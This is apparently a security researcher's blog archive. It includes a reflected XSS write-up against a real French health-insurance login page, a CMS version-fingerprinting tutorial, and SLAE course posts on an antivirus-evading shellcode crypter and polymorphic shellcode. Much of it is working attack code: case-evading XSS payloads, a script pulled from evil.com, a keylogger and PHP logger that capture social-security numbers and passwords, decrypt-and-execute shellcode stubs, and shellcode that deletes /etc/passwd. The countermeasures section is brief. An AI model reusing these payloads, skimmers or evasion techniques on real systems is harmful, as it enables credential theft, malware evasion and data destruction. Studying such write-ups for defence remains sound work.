Special_characters_bypass	Exploiting browsers’ handling of special characters. Most can only work in Safari except `_`, which can also work in Chrome and Firefox. See more in Advanced CORS Exploitation Techniques. Thanks @Malayke.

Cheers.

A fun case of XSS and other web concepts

2017-07-25T00:00:00+00:00

Hello folks,

I would like to share with you a practical case of reflected XSS while i was looking at my national health service account. Right now the XSS has been patched (we have an efficient dedicated national service where we can report such issues).

What is the issue ?

A reflected XSS in the login field at the authentication page from the website https://assure.ameli.fr where all french citizen are consulting their social security account. Some digits are required but setting some alphacharacters as login will return the string in uppercase.

Where is the issue ?

So i set:

And i got:

<form name="connexionCompteForm" id="connexioncompte_2connexionCompteForm" method="post" action="https://assure.ameli.fr:443/PortailAS/appmanager/PortailAS/assure?_nfpb=true&amp;_windowLabel=connexioncompte_2&amp;connexioncompte_2_actionOverride=%2Fportlets%2Fconnexioncompte%2Fvalidationconnexioncompte&amp;_pageLabel=as_login_page" class="r_cnx_form">
...
<input id="connexioncompte_2nir_as" type="text" value="THEPOSTLOGIN" maxlength="13" size="13" placeholder="Mon numéro de sécurité sociale" title="Mon numéro de sécurité sociale" tabindex="3" name="connexioncompte_2numSecuriteSociale" />
...
</form>

Let’s try something else with the login toto<>”’();/::

<input id="connexioncompte_2nir_as" type="text" value="TOTO<>"'();/\" maxlength="13" ...

No escaping, no sanitizing or HTML encoding but we will have to deal with UPPERCASE. HTML is not case sensitive but javascript is, so we will do some HEX encoding for the javascript part.

An important thing i forgot to mention is that the payload is truncated to 255 characters.

So this is how to exploit an XSS when your payload is UPPERCASED (and truncated):

First payload:
We can test the XSS thanks to this payload (alert) - also notice that we want to preserve the way how the webpage renders:

https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=" /><IMG SRC=X ONERROR=&#x61;&#x6C;&#x65;&#x72;&#x74;(&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x64;&#x6F;&#x6D;&#x61;&#x69;&#x6E;) hidden><nimp "&connexioncompte_2codeConfidentiel=&connexioncompte_2actionEvt=connecter

Full payload url encoded:

https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20%2F%3E%3CIMG%20SRC%3DX%20ONERROR%3D%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x64%3B%26%23x6F%3B%26%23x6D%3B%26%23x61%3B%26%23x69%3B%26%23x6E%3B)%20hidden%3E%3Cnimp%20%22&connexioncompte_2codeConfidentiel=&connexioncompte_2actionEvt=connecter

But wait… you process a GET request and you were talking about a form with POST method ?
Yes, there but there is no server-side filtering on the specific POST method (of course it’s also exploitable with POST).

So what do we have ?:

It works because i’m using Firefox. IE and Chrome embed a reflected XSS auditor which prevents this kind of inline javascript execution.

Now how to deal with a truncated payload ?:
Easy, we just have to call an external javascript file.

Final payload:

" name="connexioncompte_2numSecuriteSociale" placeholder="&#x4d;&#x6f;&#x6e;&#x20;&#x6e;&#x75;&#x6d;&#xe9;&#x72;&#x6f;&#x20;&#x64;&#x65;&#x20;&#x73;&#xe9;&#x63;&#x75;&#x72;&#x69;&#x74;&#xe9;&#x20;&#x73;&#x6f;&#x63;&#x69;&#x61;&#x6c;&#x65;" /><script src='https://evil.com/poc/poc.js'></script><nimp "

Final payload url encoded:

https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20name%3D%22connexioncompte_2numSecuriteSociale%22%20placeholder%3D%22%26%23x4d%3B%26%23x6f%3B%26%23x6e%3B%26%23x20%3B%26%23x6e%3B%26%23x75%3B%26%23x6d%3B%26%23xe9%3B%26%23x72%3B%26%23x6f%3B%26%23x20%3B%26%23x64%3B%26%23x65%3B%26%23x20%3B%26%23x73%3B%26%23xe9%3B%26%23x63%3B%26%23x75%3B%26%23x72%3B%26%23x69%3B%26%23x74%3B%26%23xe9%3B%26%23x20%3B%26%23x73%3B%26%23x6f%3B%26%23x63%3B%26%23x69%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%22%20%2F%3E%3Cscript%20src%3D%27https%3A%2F%2Fevil.com%2Fpoc%2Fpoc.js%27%3E%3C%2Fscript%3E%3Cnimp%20%22&connexioncompte_2codeConfidentiel=&connexioncompte_2actionEvt=connecter

On our web server, we are creating the web tree POC/POC.JS (scheme and domain name are not case sensitive). But does a little bird sing the word CORS (Cross-Origin Resource Sharing)?

Here are some examples of resources which may be embedded cross-origin (https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy):

JavaScript with <script src="..."></script>. Error messages for syntax errors are only available for same-origin scripts.
CSS with <link rel="stylesheet" href="...">. Due to the relaxed syntax rules of CSS, cross-origin CSS requires a correct Content-Type header. Restrictions vary by browser: IE, Firefox, Chrome, Safari (scroll down to CVE-2010-0051) and Opera.
Images with <img>. Supported image formats include PNG, JPEG, GIF, BMP, SVG, …
Media files with <video> and <audio>.
Plug-ins with <object>, <embed> and <applet>.
Fonts with @font-face. Some browsers allow cross-origin fonts, others require same-origin fonts.
Anything with <frame> and <iframe>. A site can use the X-Frame-Options header to prevent this form of cross-origin interaction.

But in fact whatever… we are owning the web server we would be able to add if it was necessary the response header access-control-allow-origin: * for any resources.

But what kind of cool javascript payload can we inject? (knowing that the JSESSIONID cookie has the flag HttpOnly, so not accessible via javascript).

We will add a callback function that will be triggered once the forms on the webpage will be submitted (allowing us to capture the credentials).
Check https://github.com/phackt/pentest/tree/master/exploits/js_keylogger for source code.

POC.JS

window.onload = function () {
	for(var i=0; i<document.forms.length; i++){
	  	document.forms[i].addEventListener("submit", function() {
	  		for(e=0; e<this.elements.length; e++){
	  			keys = "[name:" + this.elements[e].name + ",value:" + this.elements[e].value + ",type:" + this.elements[e].type + "]";
	  			new Image().src = 'https://evil.com/key.php?c='+keys;
	  		}
    	}, false);
	}
}

key.php

<?php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']."\n");
    fclose($logfile);
}
?>

So suppose you are receiving a link which exploits the XSS vulnerability and you innocently enter your credentials to check your account, the attacker will receive:

[name:CONNEXIONCOMPTE_2NUMSECURITESOCIALE,value:1234567890123,type:text]
[name:connexioncompte_2codeConfidentiel,value:89769874,type:password]
[name:connexioncompte_2actionEvt,value:connecter,type:hidden]
[name:submit,value:Valider,type:submit]

This kind of vulnerability could be part of a phishing campaign which encourages people to log in by clicking on the malicious link.

COUNTERMEASURES:

HTML Encoding (HTML entities and numeric character references) - https://en.wikipedia.org/wiki/Character_encodings_in_HTML
Sanitizing
Escaping
White-listing
Block inline javascript via CSP (X-XSS-Protection is deprecated and will be replaced by the CSP directive Reflected-XSS)

Dealing with external resources, blocking all cross domains requests via a Content Security Policy rule may be not relevant because a lot of these resources are legitimate on a website.
However we can do some subtle CSP rules in order to allow only what is needed.

But if a web site administrator wants to allow only resources from the same origin (this excludes subdomains):

Content-Security-Policy: default-src 'self'

Web applications are really interesting because of all the concepts you have to deal with.

Hope you enjoyed.

Phackt.

Fingerprinting Web Application static files

2017-06-05T00:00:00+00:00

Hello folks,

Today i would like to share with you the first version of a script i wrote to help determining the version of a software.

So what the hell am i talking about?

Ok let me explain the context: You are looking at a website and trying to get the exact version of the underlying CMS, let say Drupal. We know that Drupal has suffered from the Drupalgeddon for versions 7.X before 7.32. So you can have at look at some obvious files (CHANGELOG.txt), but what happens if the webmaster deleted these files? How to maximize the chance to find the right version or at least the smallest delta as possible ?

A tool was existing for that purpose, BlindElephant, but it is not maintained anymore. So i chose to write my own script matching my needs. Of course don’t hesitate to contact me and let me know if you took time to have BlindElephant in a working state with the CMS hashes databases up-to-date.

So let’s say that after your recon phase you have your target using Drupal CMS (it will work with any CMS files versioned on GIT).
For now we will install a Drupal on our local machine.

WebApp Information Gatherer may helps your to identify it:

./wig.py http://localhost/drupal
...
Name           Versions          Type               
Drupal         7                 CMS   
...

Of course if you can hit some files leaking the CMS version, in this case everything is already folded:

curl --silent http://localhost/drupal/CHANGELOG.txt | head -1
Drupal 7.29, 2014-07-16

You also can look for some obvious information in the response headers or for any meta information in the HTML page. But if the webmaster did its job, nothing will leak so how can we fingerprint our CMS?

What do you need:

git clone the GIT repository of the CMS (ex https://github.com/drupal/drupal)
find the most relevant (updated) files as input files (git log, we will see it later)
download these files from your target
hash all these input files and their GIT releases equivalent
compare input files hashes with the releases ones

Following all these steps will help to determine the most likely versions of the underlying CMS.

So first download the last version of versionchecker.sh:

cd /tmp && wget https://raw.githubusercontent.com/phackt/pentest/master/fingerprint/web/versionchecker.sh
chmod +x versionchecker.sh

Then clone the Drupal repo:

git clone https://github.com/drupal/drupal.git
cd drupal/

Now we will look for our relevant input files:

git log --all --pretty=format: --name-only | egrep -v "^core/" | egrep -i "(.js$|.html$|.css$)" | sort | uniq -c | sort -rg | head -30 | tee /tmp/relevant_files.txt
warning: inexact rename detection was skipped due to too many files.
warning: you may want to set your diff.renameLimit variable to at least 4708 and retry the command.
misc/drupal.css
themes/seven/style.css
themes/garland/style.css
misc/drupal.js
modules/system/system.css
modules/overlay/overlay-parent.js
themes/bartik/css/style.css
misc/tabledrag.js
misc/autocomplete.js
themes/xtemplate/xtemplate.css
modules/system/system.js
misc/ajax.js
misc/collapse.js
misc/textarea.js
misc/tableheader.js
themes/pushbutton/style.css
themes/bluemarine/style.css
modules/user/user.js
misc/progress.js
modules/user/user.css
modules/toolbar/toolbar.css
misc/tableselect.js
modules/system/admin.css
themes/garland/style-rtl.css
misc/jquery.js
modules/color/color.js
modules/block/block.js
misc/teaser.js
themes/bartik/css/style-rtl.css
modules/node/node.css
themes/chameleon/common.css
modules/toolbar/toolbar.js
modules/system/system-rtl.css
modules/dashboard/dashboard.css
misc/ahah.js
themes/garland/fix-ie.css
themes/xtemplate/pushbutton/xtemplate.css
modules/overlay/overlay-parent.css
modules/openid/openid.js
modules/book/book.css

We are looking for the most commited static files (.js, .html, .css), not beginning by core/ (Drupal 8 hierarchy, we are looking for a Drupal 7 version here) and saving the results in /tmp/relevant_files.txt.

Let’s download these files from our target in order to be processed by the versionchecker.sh:

mkdir ../input && cd ../input
for file in $(cat /tmp/relevant_files.txt | sed -r 's/^ +//g' | cut -d' ' -f2);do mkdir -p $(dirname $file) 2>/dev/null;wget -O $file "http://localhost/drupal/$file";done

In the input directory we need to keep the hierarchy of relevant files in order to find them in the GIT repo. Some files may not be found for the target release. As an option, you can pass a pattern to grep the tags you want after the script has executed the git tag command (to find all the releases).

Let’s run our versionchecker.sh (currently only working for git versioning system):

cd .. && ./versionchecker.sh -s ./input/ -g ./drupal/ -p "^[78]\.[0-9.]+$"
[*] Input files directory: /tmp/input
[*] Cleaning empty files and directory in /tmp/input - Done
[*] GIT repository: /root/Documents/repo/drupal
[*] Grep pattern: ^7\.[0-9]+$
        ___           ___           ___           ___                       ___           ___       
       /\__\         /\  \         /\  \         /\  \          ___        /\  \         /\__\      
      /:/  /        /::\  \       /::\  \       /::\  \        /\  \      /::\  \       /::|  |     
     /:/  /        /:/\:\  \     /:/\:\  \     /:/\ \  \       \:\  \    /:/\:\  \     /:|:|  |     
    /:/__/  ___   /::\~\:\  \   /::\~\:\  \   _\:\~\ \  \      /::\__\  /:/  \:\  \   /:/|:|  |__   
    |:|  | /\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /\ \:\ \ \__\  __/:/\/__/ /:/__/ \:\__\ /:/ |:| /\__\  
    |:|  |/:/  / \:\~\:\ \/__/ \/_|::\/:/  / \:\ \:\ \/__/ /\/:/  /    \:\  \ /:/  / \/__|:|/:/  /  
    |:|__/:/  /   \:\ \:\__\      |:|::/  /   \:\ \:\__\   \::/__/      \:\  /:/  /      |:/:/  /   
     \::::/__/     \:\ \/__/      |:|\/__/     \:\/:/  /    \:\__\       \:\/:/  /       |::/  /    
      ~~~~          \:\__\        |:|  |        \::/  /      \/__/        \::/  /        /:/  /     
                     \/__/         \|__|         \/__/                     \/__/         \/__/      
        ___           ___           ___           ___           ___           ___           ___     
       /\  \         /\__\         /\  \         /\  \         /\__\         /\  \         /\  \    
      /::\  \       /:/  /        /::\  \       /::\  \       /:/  /        /::\  \       /::\  \   
     /:/\:\  \     /:/__/        /:/\:\  \     /:/\:\  \     /:/__/        /:/\:\  \     /:/\:\  \  
    /:/  \:\  \   /::\  \ ___   /::\~\:\  \   /:/  \:\  \   /::\__\____   /::\~\:\  \   /::\~\:\  \ 
   /:/__/ \:\__\ /:/\:\  /\__\ /:/\:\ \:\__\ /:/__/ \:\__\ /:/\:::::\__\ /:/\:\ \:\__\ /:/\:\ \:\__\
   \:\  \  \/__/ \/__\:\/:/  / \:\~\:\ \/__/ \:\  \  \/__/ \/_|:|~~|~    \:\~\:\ \/__/ \/_|::\/:/  /
    \:\  \            \::/  /   \:\ \:\__\    \:\  \          |:|  |      \:\ \:\__\      |:|::/  / 
     \:\  \           /:/  /     \:\ \/__/     \:\  \         |:|  |       \:\ \/__/      |:|\/__/  
      \:\__\         /:/  /       \:\__\        \:\__\        |:|  |        \:\__\        |:|  |    
       \/__/         \/__/         \/__/         \/__/         \|__|         \/__/         \|__|    


[*] Hint: for choosing relevant files to compare from a GIT repository:
[*] git log --all --pretty=format: --name-only | egrep -i "(.js$|.html$|.css$)" | sort | uniq -c | sort -rg | head -20

[*] /tmp/work/hashes.txt found. Are you sure you want to overwrite and compute hashes [Y/n]: 
[*] -----------------------
[*] Looking for tag: 7.0
[*] -----------------------
[*] Looking for tag: 7.1
[*] -----------------------
[*] Looking for tag: 7.2
[*] -----------------------
[*] Looking for tag: 7.3
...
[*] -----------------------
[*] Checking filename /tmp/input/modules/color/color.js: abce1b13050367ea1c8806888c29b383
[*] -----------------------
[*] Checking filename /tmp/input/modules/user/user.css: 1162bec186856e63a6ca207b04282816
[*] -----------------------
[*] Checking filename /tmp/input/modules/user/user.js: 0409afa4203df9e19e5754663bf27ba8
[*] -----------------------
[*] Checking filename /tmp/input/modules/overlay/overlay-parent.js: 9e7f29219143a79e528a59f1e5e2ab6e
[*] Thanks to strong and costly mathematical and statistical calculation:
[*] min version: 7.29
[*] max version: 7.32
[*] Number of input files: 23
[*] All input files have been found in the following versions: 
7.32
7.31
7.30
7.29

The script is computing hashes for every input files found and for every git tags. If one input file is not found, the script will fail because we can not precisely determine a version that matches all input files.

In our example, we finally have 23 input files from 30 relevant files (some has not been found on our target).
The final comparison between the input files hashes and the git tags hashes shows that the whole 23 input hashes match the versions 7.32, 7.31, 7.30, 7.29.

So as previously seen in the CHANGELOG.txt, our version is well included (7.29).
You also can try with some others CMS like Wordpress. Here is what we got for example with a Wordpress 4.6:

./versionchecker.sh -s ./input/ -g ~/Documents/repo/WordPress/ -p "^4(\.[0-9])+$"
[*] Input files directory: /tmp/input
[*] Cleaning empty files and directory in /tmp/input - Done
[*] GIT repository: /root/Documents/repo/WordPress
[*] Grep pattern: ^4(\.[0-9])+$
...
[*] min version: 4.6
[*] max version: 4.6
[*] Number of input files: 24
[*] All input files have been found in the following versions: 
4.6

For wordpress we have only one possible version matching all the input files we provided thanks to the same procedure as seen for the Drupal CMS. We clearly know right now which version is running, 4.6.

Hope it may helps you, give you some ideas, make you think about how to reduce your fingerprinting entropy.

Cheers,
Phackt.

SLAE Assignment 7 - Custom crypter

2017-04-30T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 7:

Our Goal:

Create a custom crypter

Free to use any existing encryption schema

Can use any programming language

Hello everybody,

In this last assignment we will aim at creating a shellcode crypter. The crypter program will cipher our shellcode in order to defeat any reverse-engineering analysis and to bypass fingerprint/signature based anti-virus detection.

A quick search for a simple encryption algorithm leads to the Tiny Encryption Algorithm:
‘In cryptography, the Tiny Encryption Algorithm (TEA) is a block cipher notable for its simplicity of description and implementation, typically a few lines of code.’

If you want to read more about the Tiny Encryption Algorithm and its implementation and weaknesses nowadays, here is a link.

For this assignment we will use the execve-stack.nasm shellcode:

\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Now let’s create our C crypter tea_crypter.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void encode(long *data, long *key) {
	unsigned long y = data[0], z = data[1],
	sum = 0, delta = 0x9e3779b9, n = 32;
	while (n-- > 0) {
		sum += delta;
		y += (z << 4) + (key[0]^z) + (sum^(z >> 5)) + key[1];
		z += (y << 4) + (key[2]^y) + (sum^(y >> 5)) + key[3];
	}
	data[0] = y;
	data[1] = z;
}

void decode(long *data, long *key) {
	unsigned long n = 32, sum, y = data[0], z = data[1],
	delta=0x9e3779b9;
	sum = delta << 5;
	while (n-- > 0) {
	     	z -= (y << 4) + (key[2]^y) + (sum^(y >> 5)) + key[3]; 
	     	y -= (z << 4) + (key[0]^z) + (sum^(z >> 5)) + key[1];
	     	sum -= delta;  
	}
	data[0] = y; 
	data[1] = z;  
}

/* Character Array Functions */
void codestr(char *datastr, char *keystr) {
	int i = 0, datasize;
	long *data = (long *)datastr;
	long *key = (long *)keystr;
	datasize = strlen(datastr) / sizeof(long);
	datasize = 0 ? 1 : datasize;
	while (i < datasize) {
		encode(data, key);
		i += 2;
		data = (long *)datastr + i;
	}
}

void decodestr(char *datastr, char *keystr) {
	int i = 0, datasize;
	long *data = (long *)datastr;
	long *key = (long *)keystr;
	datasize = strlen(datastr) / sizeof(long);
	datasize = 0 ? 1 : datasize;
	while (i < datasize) {
		decode(data, key);
		i += 2;
		data = (long *)datastr + i;
	}
}

int main() {
	char shellcode[] = \
	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; //execve-stack
	
	int last;
	char *str, buff[512];
	char key[16] = "iloveshellcodess";
	
	str = shellcode;

	codestr(str, key);

	printf("\Ciphered shellcode size: %d\n", strlen(str));
	printf("\Ciphered shellcode:\n");

	int j;
	for (j=0;j<strlen(str);j++)
	{
		printf("\\x%02x", (unsigned char)(int)str[j]);
	}
	
	return 0;
}

Let’s compile and run our TEA crypter:

# gcc -fno-stack-protector -z execstack -o tea_crypter tea_crypter.c && chmod u+x ./tea_crypter && ./tea_crypter
Ciphered shellcode size: 25
Ciphered shellcode:
\x75\xac\xf4\x4c\x4f\x97\x9a\x0a\x92\xb5\x29\x5f\x9e\xa3\xa0\x53\xa7\xa9\xcd\x3c\x6f\x85\xee\x95\x80

Now let’s decrypt and execute this shellcode (tea_decrypter.c):

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void decode(long *data, long *key) {
	unsigned long n = 32, sum, y = data[0], z = data[1],
	delta=0x9e3779b9;
	sum = delta << 5;
	while (n-- > 0) {
	     	z -= (y << 4) + (key[2]^y) + (sum^(y >> 5)) + key[3]; 
	     	y -= (z << 4) + (key[0]^z) + (sum^(z >> 5)) + key[1];
	     	sum -= delta;  
	}
	data[0] = y; 
	data[1] = z;  
}

/* Character Array Functions */
void decodestr(char *datastr, char *keystr) {
	int i = 0, datasize;
	long *data = (long *)datastr;
	long *key = (long *)keystr;
	datasize = strlen(datastr) / sizeof(long);
	datasize = 0 ? 1 : datasize;
	while (i < datasize) {
		decode(data, key);
		i += 2;
		data = (long *)datastr + i;
	}
}

int main() {
	char shellcode[] = \
	"\x75\xac\xf4\x4c\x4f\x97\x9a\x0a\x92\xb5\x29\x5f\x9e\xa3\xa0\x53\xa7\xa9\xcd\x3c\x6f\x85\xee\x95\x80";	

	char buffer[512];
	char key[16] = "iloveshellcodess";
	
	strcpy(buffer, shellcode);
	decodestr(buffer, key);
	
	printf("Decrypted shellcode:\n");
	for (int i=0;i<strlen(shellcode);i++)
	{
		printf("\\x%02x", (unsigned char)(int)shellcode[i]);
	}

	// we are executing the shellcode once it has been decrypted
	printf("\nRunning shellcode...\n");
	int (*ret)() = (int(*)())buffer;
	ret();
	
	return 0;
}

Then:

# gcc -fno-stack-protector -z execstack -o tea_crypter tea_crypter.c && chmod u+x ./tegcc -fno-stack-protector -z execstack -o tea_decrypter tea_decrypter.c && chmod u+x ./tea_decrypter && ./tea_decrypter
Decrypted shellcode:
\x75\xac\xf4\x4c\x4f\x97\x9a\x0a\x92\xb5\x29\x5f\x9e\xa3\xa0\x53\xa7\xa9\xcd\x3c\x6f\x85\xee\x95\x80
Running shellcode...
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Perfect, so our shellcode has been well decrypted and executed. Remember that TEA has some weaknesses, you may use another algorithm if you need strong encryption (AES, RSA, Blowfish, Twofish, …). Also avoid simple XOR encryption because the xoring key can be guessed thanks to a tool like xortool.

So it was our last assignment for the exam of the http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ course.
Thanks again to Vivek and its team for their work.

Hope to see you soon,

Phackt

SLAE Assignment 6 - Polymorphic shellcodes

2017-04-29T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 6:

Our Goal:

Take up 3 shellcodes from Shell-Storm and create polymorphic versions

The polymorphic versions can not be larger than 150% of the original versions

Bonus points if shorter in length than original

Hello everybody,

So today we will create some polymorphic versions of existing shellcodes on the well-known site shell-storm.
Polymorphic versions aims at defeating pattern matching by AV and IDS:

Replacing instructions with equivalent ones.
Add garbage instructions that will not change the shellcode functionality but create a mess for the AV analysis.

VirusTotal gathers AV engines but i do not recommend to test your shellcode on it because it will be fingerprinted and may be added to their database, so your next NSA hack may fail, such a pity.

jmp/call/pop execve shell:

Ok so for our first shellcode execve.nasm let’s have a look at a jmp/call/pop execve shellcode (52 bytes long):

global _start

section .text
_start:
    jmp short here

me:
    pop esi
    mov edi,esi
    
    xor eax,eax
    push eax
    mov edx,esp
    
    push eax
    add esp,3
    lea esi,[esi +4]
    xor eax,[esi]
    push eax
    xor eax,eax
    xor eax,[edi]
    push eax
    mov ebx,esp 

    xor eax,eax
    push eax
    lea edi,[ebx]
    push edi
    mov ecx,esp

    mov al,0xb
    int 0x80

here:
    call me
    path db "//bin/sh"

Let’s execute the shellcode:

# ./compile.sh execve && chmod u+x ./execve && ./execve
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# id
uid=0(root) gid=0(root) groups=0(root)
# 

The advantage of this shellcode is that the opcodes have been already thought to obfuscate a bit the shellcode behavior. If we add a second layer we can be barely sure that the shellcode will bypass the majority of the AVs. A good idea here is to obfuscate the //bin/sh variable and to add some garbage opcodes and/or to mix them.

So let’s have a look at our polymorphic shellcode execve_polymorphic.nasm:

global _start

section .text
_start:
    jmp short here

me:
    mov dword esi, [esp]    ; equivalent to mov the @ of our encoded //bin/sh into esi
    pop edi                 ; same @ in edi
    
    push 0x1                ; mix a little bit the opcodes
    pop eax
    dec eax
    push eax
    mov edx,esp

    xor ecx, ecx
    mov cl, 0x7             ; //bin/sh is 7 bytes long

dec1:                       
    mov eax, [edi + ecx]    ; we are looping on our string
    dec eax                 ; decrement the value
    mov [edi + ecx], eax    ; setting the right char into memory
    dec cl
    jns dec1                ; jump if not signed

    xor eax, eax            ; here we go for setting the right argument for our execve syscall
    push eax
    add esp,3
    lea esi,[esi+6]
    xor eax,[esi-2]

    push eax
    xor eax,eax
    xor eax,[edi]
    push eax
    mov ebx,esp 

    xor eax,eax
    push eax
    lea edi,[ebx]
    push edi
    mov ecx,esp

    mov al,0xb              ; int execve(const char *filename, char *const argv[],char *const envp[]);

    int 0x80

here:
    call me
    path db 0x30,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69 ; encoded //bin/sh string, we added 1 to each byte

Let’s compile our polymorphic shellcode:

# ./compile.sh execve_polymorphic
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# objdump -d ./execve_polymorphic|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x3a\x8b\x34\x24\x5f\x6a\x01\x58\x48\x50\x89\xe2\x31\xc9\xb1\x07\x8b\x04\x0f\x48\x89\x04\x0f\xfe\xc9\x79\xf5\x31\xc0\x50\x83\xc4\x03\x8d\x76\x06\x33\x46\xfe\x50\x31\xc0\x33\x07\x50\x89\xe3\x31\xc0\x50\x8d\x3b\x57\x89\xe1\xb0\x0b\xcd\x80\xe8\xc1\xff\xff\xff\x30\x30\x63\x6a\x6f\x30\x74\x69"

Let’s run it into shellcode.c:

# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode
Shellcode Length:  73
# id
uid=0(root) gid=0(root) groups=0(root)

Our polymorphic shellcode is 73 bytes so we are under the 52 * 1.5 = 78 bytes, perfect.

unlink /etc/passwd shellcode:

For this second shellcode let’s have a look at a shellcode that aims at unlinking the critical /etc/passwd file. A quick man 2 unlink provides this information: unlink() deletes a name from the filesystem.. Great, but please don’t forget to backup your /etc/passwd file.

Let’s compile and debug thanks to gdb:

# gcc -fno-stack-protector -z execstack -o unlink unlink.c && chmod u+x ./unlink && ./unlink
Shellcode Length: 35
# ls -lrt /etc/passwd*
-rw------- 1 0 root 3025 mars   1 21:47 /etc/passwd-
-rw-r--r-- 1 0 root 3073 avril 22 13:48 /etc/passwd.backup

Ok so we have our passwd backups but the /etc/passwd file has been deleted. Let’s have a look to the shellcode (35 bytes long):

# gdb -q unlink
Reading symbols from unlink...(no debugging symbols found)...done.
gdb-peda$ print &shell
$1 = (<data variable, no debug info> *) 0x804a040 <shell>
gdb-peda$ br *&shell
Breakpoint 1 at 0x804a040
gdb-peda$ r
Starting program: /root/Documents/pentest/certs/slae/exam/assignment6.2/unlink 
Shellcode Length: 35
[----------------------------------registers-----------------------------------]
EAX: 0x804a040 --> 0x315e11eb 
EBX: 0x0 
ECX: 0x7fffffeb 
EDX: 0xb7faf870 --> 0x0 
ESI: 0x1 
EDI: 0xb7fae000 --> 0x1b2db0 
EBP: 0xbffff238 --> 0x0 
ESP: 0xbffff21c --> 0x8048479 (<main+62>: mov    eax,0x0)
EIP: 0x804a040 --> 0x315e11eb
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a03a: add    BYTE PTR [eax],al
   0x804a03c: add    BYTE PTR [eax],al
   0x804a03e: add    BYTE PTR [eax],al
=> 0x804a040 <shell>: jmp    0x804a053 <shell+19>
 | 0x804a042 <shell+2>: pop    esi
 | 0x804a043 <shell+3>: xor    eax,eax
 | 0x804a045 <shell+5>: xor    ecx,ecx
 | 0x804a047 <shell+7>: xor    edx,edx
 |->   0x804a053 <shell+19>:  call   0x804a042 <shell+2>
       0x804a058 <shell+24>:  das
       0x804a059 <shell+25>:  gs je  0x804a0bf
       0x804a05c <shell+28>:  das
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbffff21c --> 0x8048479 (<main+62>:  mov    eax,0x0)
0004| 0xbffff220 --> 0x1 
0008| 0xbffff224 --> 0xbffff2e4 --> 0xbffff480 ("/root/Documents/pentest/certs/slae/exam/assignment6.2/unlink")
0012| 0xbffff228 --> 0xbffff2ec --> 0xbffff4bd ("XDG_VTNR=2")
0016| 0xbffff22c --> 0x804a040 --> 0x315e11eb 
0020| 0xbffff230 --> 0xb7fae3dc --> 0xb7faf1e0 --> 0x0 
0024| 0xbffff234 --> 0xbffff250 --> 0x1 
0028| 0xbffff238 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804a040 in shell ()
gdb-peda$ x/17i $eip
=> 0x804a040 <shell>: jmp    0x804a053 <shell+19>
   0x804a042 <shell+2>: pop    esi
   0x804a043 <shell+3>: xor    eax,eax
   0x804a045 <shell+5>: xor    ecx,ecx
   0x804a047 <shell+7>: xor    edx,edx
   0x804a049 <shell+9>: mov    al,0xa
   0x804a04b <shell+11>:  mov    ebx,esi
   0x804a04d <shell+13>:  int    0x80
   0x804a04f <shell+15>:  mov    al,0x1
   0x804a051 <shell+17>:  int    0x80
   0x804a053 <shell+19>:  call   0x804a042 <shell+2>
   0x804a058 <shell+24>:  das    
   0x804a059 <shell+25>:  gs je  0x804a0bf
   0x804a05c <shell+28>:  das    
   0x804a05d <shell+29>:  jo     0x804a0c0
   0x804a05f <shell+31>:  jae    0x804a0d4
   0x804a061 <shell+33>:  ja     0x804a0c7
gdb-peda$

So we can see a jmp/call/pop technique setting the string for the syscall 0xa (int unlink(const char *pathname);). Then a syscall to the exit function. Debugging just after the pop esi:

gdb-peda$ x/s $esi
0x804a058 <shell+24>: "/etc/passwd"

Let’s create our polymorphic shellcode:

global _start

section .text
_start:
    jmp short here

me:
    pop ebx          ; Directly pop the @ of /etc/passwd into ebx

    xor ecx,ecx
    mul ecx          ; This instruction will cause both EAX and EDX to become zero
    
    mov cl,0x1
    mov al,0xb
    sub al,cl        ; Equivalent to mov al,0xa
    int 0x80         ; int unlink(const char *pathname);
    
    mov al,cl        ; Equivalent to mov al,0x1
    int 0x80         ; void _exit(int status);
    call me

here:
    call me
    path db "/etc/passwd"

Let’s run it:

# touch /etc/passwd
# ./compile.sh unlink_polymorphic && ./unlink_polymorphic
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# ls /etc/passwd
